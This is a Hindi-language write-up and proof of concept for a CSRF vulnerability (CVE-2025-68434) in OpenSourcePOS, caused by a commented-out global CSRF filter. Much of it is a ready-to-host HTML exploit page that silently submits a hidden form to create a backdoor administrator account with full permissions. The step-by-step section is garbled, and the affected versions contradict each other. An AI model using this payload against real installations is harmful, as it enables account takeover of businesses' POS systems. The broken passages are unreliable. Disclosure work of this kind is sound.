
CVE-2025-68434 के लिए PoC और राइट-अप: OpenSourcePOS में गंभीर CSRF। यह अक्षम फ़िल्टर कॉन्फ़िगरेशन का शोषण करता है, जिससे अनधिकृत हमलावर चुपचाप नकली व्यवस्थापक खाते बना सकते हैं, जिससे पूर्ण सिस्टम नियंत्रण प्राप्त होता है। संस्करण < 3.4.0 पर सत्यापित।
| मेटाडेटा | विवरण |
|---|---|
| CVE ID | CVE-2025-68434 |
| गंभीरता | गंभीर (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| भेद्यता प्रकार | क्रॉस-साइट रिक्वेस्ट फोर्जरी (CWE-352) |
| प्रभावित संस्करण | OpenSourcePOS v3.4.0, v3.4.1 |
| पैच किया गया संस्करण | v3.4.2 |
| भेद्य घटक | app/Config/Filters.php (वैश्विक सुरक्षा फ़िल्टर) |
| रिपोर्टकर्ता | Aditya Singh (Nixon-H) |
OpenSourcePOS के मुख्य सुरक्षा कॉन्फ़िगरेशन में एक गंभीर क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता खोजी गई। एप्लिकेशन का वैश्विक CSRF सुरक्षा तंत्र app/Config/Filters.php फ़ाइल में एक अस्थायी विकास "TODO" के कारण स्पष्ट रूप से अक्षम कर दिया गया था, जिसे कभी हल नहीं किया गया।
इस गलत कॉन्फ़िगरेशन के कारण एप्लिकेशन बिना किसी मान्य एंटी-फोर्जरी टोकन की पुष्टि किए स्टेट-बदलने वाले HTTP अनुरोधों (POST) को स्वीकार करने लगा। एक अनप्रमाणित, दूरस्थ हमलावर किसी लॉग-इन व्यवस्थापक को एक दुर्भावनापूर्ण पृष्ठ पर जाने के लिए धोखा देकर इसका फायदा उठा सकता था। इसके बाद हमलावर का पृष्ठ चुपचाप पीड़ित के ब्राउज़र से प्रशासनिक क्रियाएँ निष्पादित करवा सकता था; विशेष रूप से, पूर्ण विशेषाधिकारों वाला एक नया "बैकडोर" व्यवस्थापक खाता बनाकर; जिससे सिस्टम पर पूर्ण नियंत्रण प्राप्त हो सकता था।
यह भेद्यता ग्लोबल फ़िल्टर कॉन्फ़िगरेशन (app/Config/Filters.php) में स्थित थी। CodeIgniter 4 में, $globals सरणी यह निर्धारित करती है कि हर अनुरोध पर कौन से फ़िल्टर चलते हैं।
प्रभावित संस्करणों में, before निष्पादन सूची में csrf फ़िल्टर को कमेंट कर दिया गया था, जिससे पूरे एप्लिकेशन के लिए CSRF सुरक्षा प्रभावी रूप से अक्षम हो गई थी।
भेद्य कोड (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
क्योंकि यह पंक्ति कमेंट की गई थी, csrf_token_name की जाँच करने वाला मिडलवेयर कभी निष्पादित नहीं हुआ। एप्लिकेशन ने किसी भी ओरिजिन से आने वाले किसी भी POST अनुरोध को स्वीकार कर लिया, और प्रमाणीकरण के लिए केवल सत्र कुकी (ospos_session) पर निर्भर रहा।
csrf_exploit.html फ़ाइल को किसी बाहरी सर्वर पर होस्ट करता है।valid_12345) बन जाता है।POC/csrf_exploit.html)यह पूर्ण अनुमतियों वाला एक दुष्ट व्यवस्थापक बनाने के लिए उपयोग किया गया सटीक पेलोड है:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">